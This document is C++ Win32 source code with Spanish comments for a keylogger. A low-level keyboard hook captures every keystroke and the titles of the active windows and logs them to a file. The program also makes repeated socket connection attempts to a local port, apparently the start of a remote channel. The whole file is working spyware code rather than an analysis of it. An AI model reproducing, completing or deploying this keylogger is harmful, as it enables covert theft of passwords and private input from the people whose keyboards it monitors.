#define _WIN32_WINNT 0x0500
#define _CRT_SECURE_NO_DEPRECATE
#include <windows.h>
#include <stdlib.h>
#include <tchar.h>
#include <iostream>
#include <string>
#include <atlstr.h>
#include <stdio.h>
#include <winuser.h>
#pragma comment(lib,"ws2_32.lib")
using namespace std;
//FUNCION QUE MUESTRA EN EL TITULO LO QUE LE INDIQUEMOS, PARA FINES DE DEPURACION
void AlTitulo(char *Buffer);
//FUNCION DEL KEYLOGGER: MIRA SI LA TECLA CAPS ESTA PRESIONADA O NO
int isCapsLock(){
if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0) return 1;
else return 0; }
//CALLBACK DEL HOOK AL TECLADO
LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam);
//ALGUNAS VARIABLES PARA EL KEYLOGGER
HWND ventana; //EL HANDLE DE LA VENTANA ACTIVA
char TVentana[500]; //EL TITULO
char tp[500];
char bufferKL[5];
string HISTORY; //DONDE ACUMULAREMOS LO QUE SE ESTA DIGITANDO
//DEFINICIONES PARA NUESTRO SOCKET
WSADATA wsa;
SOCKET sock;
struct hostent *host;
struct sockaddr_in direc;
int conex;
int ts=-1;
int len=100;
char Buffer[1024];
//UNA FORMA DE SEPARAR LO QUE LLEGARA DESDE EL CLIENTE
void DArrival();
//FUNCIONES PARA MANIPULAR NUESTRO SOCKET
//INICIALIZAMOS NUESTRO SOCKET
void inicializar(){
WSAStartup(MAKEWORD(2,2),&wsa);
host=gethostbyname("127.0.0.1");
//creamos el socket
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
//direccion y puerto
direc.sin_family=AF_INET;
direc.sin_port=htons(1234);
direc.sin_addr = *((struct in_addr *)host->h_addr);
memset(direc.sin_zero,0,8);
}
//CONECTAMOS, NOS DEVOLVERA UN VALOR SEGUN SI SE CONECTA O NO
int conectar(){
//Intentamos establecer la conexión hasta que lo logremos
conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
return conex;
}
//PARA CERRAR EL SOCKET
void cerrar(){
closesocket(sock);
}
MSG messages; //PARA EL BUCLE DE MENSAJES DE LA APLICACION
#define TIMER_ID1 1 /*PRIMER TIMER QUE SE ENCARGARA DE LANZAR LOS INTENTOS DE CONEXION CADA 2 SEGUINDOS*/
// El nombre de la clase de la ventana principal
static TCHAR szWindowClass[] = _T("VentanaWin32");
// El texto que aparece en la ventana principal
static TCHAR szTitle[] = _T("Una ventana tipica de win32");
HINSTANCE hInst; //variable global sacar el HINSTANCE del WinMain
//El propósito de esta función es procesar cualquier mensaje que nuestra aplicación reciba del sistema operativo
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
UINT mt; //PARA IDENTIFICAR A NUESTRO /*PRIMER TIMER*/
//FUNCION PRINCIPAL
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
/*ENTRADA PRINCIPAL: COMIENZA LA ODISEA...*/
{
len=sizeof(struct sockaddr); //INICIAMOS LEN PARA NUESTRO SOCKET
inicializar(); //INICIALIZAMOS EL SOCKET /*SI QUITO ESTO TODO VA BIEN, SINO WINDOWS VA MUY LENTO: PERO SI LO QUITO COMO Y DONDE INICIALIZO EL SOCKET??? */
//INSTALAMOS EL HOOK AL TECLADO
HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,capturaTeclas,hInstance,0);
//Esta estructura contiene información sobre la ventana
WNDCLASSEX wcex;
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ASTERISK));
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wcex.lpszMenuName = NULL;
wcex.lpszClassName = szWindowClass;
wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_ASTERISK));
//registramos la clase
if (!RegisterClassEx(&wcex)) return 1;
//almacenamos 'hInstance' que es un parametro de la funcion principal WinMain en una variable Global
hInst = hInstance;
//parametros para crear la ventana principal
HWND hWnd = CreateWindow(szWindowClass,szTitle,WS_OVERLAPPEDWINDOW,CW_USEDEFAULT, CW_USEDEFAULT,500, 200,NULL,NULL,hInstance,NULL);
//mostramos la ventanA
ShowWindow(hWnd,nCmdShow);
UpdateWindow(hWnd);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return (int) msg.wParam;
}
//funcion para procesar los mensajes de la ventana principal
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
PAINTSTRUCT ps;
HDC hdc;
TCHAR greeting[] = _T("Hola A todos");
switch (message)
{
case WM_CREATE:
/*CREAMOS NUESTRO TIMER QUE HARA QUE EL SOCKET LANZE LA PETICION DE CONEXION CADA 2 SEGUNDOS*/
mt=SetTimer(hWnd, TIMER_ID1, 2000, 0);
break;
//USAMOS ESTE MENSAJE EN VEZ DE UN CALLBACK
case WM_TIMER:
switch (wParam){
case TIMER_ID1: /*<--- PRIMER TIMER */
//CADA 2 SEGUNDOS INTENTARA CONECTAR
if(ts==-1){
ts=conectar(); /*IGUAL: SI QUITO ESTO VA BIEN PERO SINO WINDOWS VA MAL*/
//Y NOS AVISARA EN EL TITULO DE LA VENTANA
AlTitulo("Intento de conexion enviada...");
}
//CUANDO LOGRE CONECTARSE...
else{
DArrival(); //LLAMAMOS A ESTA FUNCION
KillTimer(NULL,mt);
}
break;
//MAS ADELANTE QUIZA NECESITEMOS UN SEGUNDO TIMER
//case TIMER_ID2: //<--- Segundo Timer
//break;
}
break;
case WM_PAINT:
hdc = BeginPaint(hWnd, &ps); //aqui iniciamos
//MOSTRAMOS UN SALUDO
TextOut(hdc,5, 5,greeting, _tcslen(greeting));
EndPaint(hWnd, &ps); //aqui terminamos
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
break;
}
return 0;
}
/*LA FUNCION QUE DEBERIA LLAMARSE CUANDO EL SOCKET SE CONECTA*/
/*PERO ESTO YA NO SE EJECUTA O AL MENOS NO HIZE LAS PRUEBAS HASTA AQUI*/
void DArrival(){
while (len!=0){ //mientras estemos conectados
len=recv(sock,Buffer,1023,0); //recibimos los datos que envie
if (len>0){ //si seguimos conectados
Buffer[len]=0; //le ponemos el final de cadena
AlTitulo(Buffer);
}
}
ts=-1;
}
//DEFINICION DE LA FUNCION DEL HOOK, ESTO FUNCIONA NO HAY MUCHO QUE DECIR AQUI.
LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT puntero = (PKBDLLHOOKSTRUCT) (lParam);
DWORD Tecla = puntero->vkCode;
//vemos si wParam es igual a WM_KEYDOWN (tecla presionada)
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
switch (puntero->vkCode) {
case VK_RETURN: //SI PRESIONA ENTER GUARDAMOS EN EL LOG LO QUE SE HA ACUMULADO EN 'HISTORY'
HISTORY.append("\n");
{
FILE *mif=fopen("logger2.txt","a+");
fputs(HISTORY.c_str(),mif); //guardamos.
fclose(mif);
}
HISTORY="";
break; //se presiono un enter
case VK_LMENU: HISTORY.append("[AI]"); break; //la tecla alt
case VK_RMENU: HISTORY.append("[AD]"); break; //la tecla alt
case VK_BACK: HISTORY.append("[<]"); break; //la tecla retroceso
case VK_TAB: HISTORY.append("[T]"); break; //la tecla tabulador
case VK_END : HISTORY.append("[F]"); break; //la tecla fin
case VK_HOME: HISTORY.append("[I]"); break; //la tecla home
case VK_LEFT: HISTORY.append("[L]"); break; //la tecla felcha izquierda
case VK_UP: HISTORY.append("[U]"); break; //la tecla flecha arriba
case VK_RIGHT: HISTORY.append("[R]"); break; //la tecla flecha derecha
case VK_DOWN: HISTORY.append("[D]"); break; //la tecla flecha abajo
case VK_DELETE: HISTORY.append("[S]"); break; //la tecla suprimir
case VK_MULTIPLY:HISTORY.append("*"); break; //la tecla * del teclado num
case VK_ADD: HISTORY.append("+"); break; //la tecla + del teclado num
case VK_SUBTRACT:HISTORY.append("-"); break; //la tecla -
case VK_DIVIDE: HISTORY.append("/"); break; //la tecla /
case VK_DECIMAL:HISTORY.append("."); break; //la tecla . del teclado num
case VK_CAPITAL:HISTORY.append("[CAPS]"); break; //CAPS LOCK
//registramos las teclas normales
default:
if ((puntero->vkCode>64)&&(puntero->vkCode<91)){
if (!(GetAsyncKeyState(VK_SHIFT)^isCapsLock())){
puntero->vkCode+=32;
sprintf(bufferKL,"%c",puntero->vkCode);
HISTORY.append(bufferKL);
}else{
sprintf(bufferKL,"%c",puntero->vkCode);
HISTORY.append(bufferKL);
}
}
if (Tecla==VK_SPACE){ //espacio en blanco
HISTORY.append(" ");
}
}
//GUARDAMOS CON EL TITULO DE VENTANA
if(GetForegroundWindow()!=ventana){
ventana=GetForegroundWindow();
GetWindowText(ventana,TVentana,80);
sprintf(tp,"\n[%s]\n",TVentana);
HISTORY.append(tp);
}
}
//en el caso de que haya otro hook instalado, le damos el pase para que haga lo suyo
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
/*****************FUNCIONES UTILES*************************************/
void AlTitulo(char *Buffer){
HWND ventana;
ventana=GetForegroundWindow();
SetWindowText(ventana,Buffer);
}